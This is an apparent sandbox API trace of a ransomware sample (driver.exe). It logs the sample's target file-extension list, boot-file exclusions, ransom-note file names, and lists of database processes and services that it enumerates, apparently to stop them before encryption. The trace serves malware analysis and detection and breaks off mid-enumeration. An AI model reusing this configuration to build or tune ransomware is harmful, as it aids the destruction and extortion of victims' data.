(lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0041.743] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6101c8 | out: hHeap=0x5c0000) returned 1 [0041.743] lstrlenW (lpString="") returned 0 [0041.743] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x615058 | out: hHeap=0x5c0000) returned 1 [0041.743] lstrlenW (lpString=".NEWS") returned 5 [0041.743] lstrlenW (lpString=".NEWS") returned 5 [0041.743] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x615058 | out: hHeap=0x5c0000) returned 1 [0041.743] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x615088, Size=0x20) returned 0x5f5980 [0041.743] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5980, Size=0x40) returned 0x5f6b10 [0041.743] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6b10, Size=0x80) returned 0x61b5b8 [0041.744] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa2d8, Size=0x8) returned 0x5fa2e8 [0041.744] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa2e8, Size=0x10) returned 0x615088 [0041.744] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x615088, Size=0x20) returned 0x5f59d0 [0041.744] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0041.744] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b5b8 | out: hHeap=0x5c0000) returned 1 [0041.744] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6150b8, Size=0x20) returned 0x5f5b88 [0042.744] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5b88, Size=0x40) returned 0x5f6c78 [0042.744] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0042.744] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0042.744] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6c78 | out: hHeap=0x5c0000) returned 1 [0042.744] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6150b8, Size=0x20) returned 0x5f5b88 [0042.744] lstrlenW (lpString="Info.hta") returned 8 [0042.744] lstrlenW (lpString="Info.hta") returned 8 [0042.744] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5b88 | out: hHeap=0x5c0000) returned 1 [0042.766] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x64e5d8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\driver.exe")) returned 0x30 [0042.766] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64e5d8 | out: hHeap=0x5c0000) returned 1 [0042.766] lstrlenW (lpString="driver.exe") returned 10 [0042.766] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f59d0, Size=0x40) returned 0x5f6c78 [0042.766] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6150b8, Size=0x20) returned 0x5f59d0 [0042.767] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6150b8, Size=0x20) returned 0x5f5b38 [0042.767] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5b38, Size=0x40) returned 0x5f6cc0 [0042.767] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6cc0, Size=0x80) returned 0x61b5b8 [0042.767] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61b5b8, Size=0x100) returned 0x6112f0 [0042.767] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0042.767] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6112f0 | out: hHeap=0x5c0000) returned 1 [0042.767] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x64e5d8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0042.767] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x65e5e0 | out: hHeap=0x5c0000) returned 1 [0042.767] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64e5d8 | out: hHeap=0x5c0000) returned 1 [0042.767] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa2e8, Size=0x8) returned 0x5fa2f8 [0042.767] lstrlenW (lpString="%windir%;") returned 9 [0042.767] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f59d0 | out: hHeap=0x5c0000) returned 1 [0042.767] lstrlenW (lpString="C:\\Windows;") returned 11 [0042.767] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62d5c0 | out: hHeap=0x5c0000) returned 1 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6151a8, Size=0x20) returned 0x5f59d0 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f59d0, Size=0x40) returned 0x5f6cc0 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6cc0, Size=0x80) returned 0x61b5b8 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61b5b8, Size=0x100) returned 0x6112f0 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa328, Size=0x8) returned 0x5fa338 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa338, Size=0x10) returned 0x615148 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x615148, Size=0x20) returned 0x5f59d0 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa2e8, Size=0x8) returned 0x5fa338 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa308, Size=0x8) returned 0x5fa2e8 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa328, Size=0x8) returned 0x5fa348 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa348, Size=0x10) returned 0x610840 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610840, Size=0x20) returned 0x5f5b38 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa338, Size=0x10) returned 0x610840 [0042.769] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa2e8, Size=0x10) returned 0x610870 [0042.770] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa338, Size=0x8) returned 0x5fa328 [0042.770] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa358, Size=0x8) returned 0x5fa368 [0042.770] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610840, Size=0x20) returned 0x5f5ac0 [0042.770] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610870, Size=0x20) returned 0x5f5bb0 [0042.770] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa378, Size=0x8) returned 0x5fa388 [0042.770] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0042.770] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6112f0 | out: hHeap=0x5c0000) returned 1 [0042.770] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6108e8, Size=0x20) returned 0x5f5bd8 [0042.770] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x62d5c0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0042.770] lstrlenW (lpString="C:\\") returned 3 [0042.770] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0042.771] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62d5c0 | out: hHeap=0x5c0000) returned 1 [0042.771] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61a248, Size=0x82) returned 0x611088 [0042.771] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61a268, Size=0x100) returned 0x6112f0 [0042.771] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x611088, Size=0x104) returned 0x60bed0 [0042.771] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6112f0, Size=0x200) returned 0x616238 [0042.772] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61a258 | out: hHeap=0x5c0000) returned 1 [0042.772] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x616238 | out: hHeap=0x5c0000) returned 1 [0042.772] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x610990 | out: hHeap=0x5c0000) returned 1 [0042.772] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b7d8 | out: hHeap=0x5c0000) returned 1 [0042.772] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x610948 | out: hHeap=0x5c0000) returned 1 [0042.772] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b750 | out: hHeap=0x5c0000) returned 1 [0042.772] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x610978 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60bed0 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x610960 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x611118 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6109a8 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60be40 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6109c0 | out: hHeap=0x5c0000) returned 1 [0042.773] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6109c0, Size=0x20) returned 0x5f5c00 [0042.773] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5c00, Size=0x40) returned 0x5f6cc0 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fa398 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6108e8 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x610ff8 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x610918 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b6c8 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x610900 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61a238 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x610930 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x613590 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f61e0 | out: hHeap=0x5c0000) returned 1 [0042.773] lstrlenW (lpString="%systemdrive%") returned 13 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5bd8 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b5b8 | out: hHeap=0x5c0000) returned 1 [0042.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fa378 | out: hHeap=0x5c0000) returned 1 [0042.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x61d5a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0042.781] WaitForMultipleObjects (nCount=0x2, lpHandles=0x5f7c28*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xacc Thread: id = 4 os_tid = 0x9ec [0042.699] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6150d0 [0042.699] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6150d0, Size=0x20) returned 0x5f59f8 [0042.699] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f59f8, Size=0x40) returned 0x5f6b10 [0042.699] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6b10, Size=0x80) returned 0x61b5b8 [0042.699] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61b5b8, Size=0x100) returned 0x6111e8 [0042.699] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6150d0 [0042.699] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6150d0, Size=0x20) returned 0x5f59f8 [0042.699] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f59f8, Size=0x40) returned 0x5f6b10 [0042.699] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6b10, Size=0x80) returned 0x61b5b8 [0042.699] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61b5b8, Size=0x100) returned 0x6112f0 [0042.699] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6150d0 [0042.699] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5fa2e8 [0042.699] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6150e8 [0042.700] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa2e8, Size=0x8) returned 0x5fa2d8 [0042.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5f6080 [0042.700] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa2d8, Size=0x10) returned 0x615100 [0042.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5f60a0 [0042.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5f59f8 [0042.700] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x615100, Size=0x20) returned 0x5f5a20 [0042.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x5f5a48 [0042.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16) returned 0x5f60c0 [0042.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5f5a70 [0042.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x615100 [0042.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5fa2d8 [0042.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5f6b10 [0042.700] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa2d8, Size=0x8) returned 0x5fa2e8 [0042.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x3c) returned 0x5f6b58 [0042.700] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa2e8, Size=0x10) returned 0x615118 [0042.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5f60e0 [0042.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5f6100 [0042.700] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x615118, Size=0x20) returned 0x5f5a98 [0042.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x5fa488 [0042.700] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0042.700] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6111e8 | out: hHeap=0x5c0000) returned 1 [0042.701] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0042.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6112f0 | out: hHeap=0x5c0000) returned 1 [0042.701] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5f5b38 [0042.702] EnumServicesStatusExW (in: hSCManager=0x5f5b38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0042.703] GetLastError () returned 0xea [0042.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x134c) returned 0x616220 [0042.703] EnumServicesStatusExW (in: hSCManager=0x5f5b38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x616220, cbBufSize=0x134c, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x616220, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0042.705] CloseServiceHandle (hSCObject=0x5f5b38) returned 1 [0042.705] lstrlenW (lpString="Appinfo") returned 7 [0042.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0042.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0042.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0042.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0042.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0042.705] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0042.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.705] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0042.705] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0042.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0042.706] lstrlenW (lpString="AudioSrv") returned 8 [0042.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0042.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0042.706] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0042.706] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0042.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0042.706] lstrlenW (lpString="BFE") returned 3 [0042.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0042.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0042.706] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0042.706] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0042.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0042.706] lstrlenW (lpString="CryptSvc") returned 8 [0042.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0042.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0042.706] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0042.706] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0042.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0042.706] lstrlenW (lpString="CscService") returned 10 [0042.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0042.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0042.707] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0042.707] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0042.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0042.707] lstrlenW (lpString="DcomLaunch") returned 10 [0042.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.707] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0042.707] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0042.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0042.707] lstrlenW (lpString="Dhcp") returned 4 [0042.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0042.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0042.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0042.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0042.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0042.707] lstrlenW (lpString="Dnscache") returned 8 [0042.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0042.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0042.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0042.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0042.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0042.707] lstrlenW (lpString="DPS") returned 3 [0042.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0042.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0042.708] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0042.708] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0042.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0042.708] lstrlenW (lpString="eventlog") returned 8 [0042.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0042.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0042.708] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0042.708] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0042.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0042.708] lstrlenW (lpString="EventSystem") returned 11 [0042.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0042.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0042.708] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0042.708] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0042.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0042.708] lstrlenW (lpString="FontCache") returned 9 [0042.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0042.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0042.708] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0042.709] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0042.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0042.709] lstrlenW (lpString="gpsvc") returned 5 [0042.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0042.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0042.709] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0042.709] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0042.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0042.709] lstrlenW (lpString="iphlpsvc") returned 8 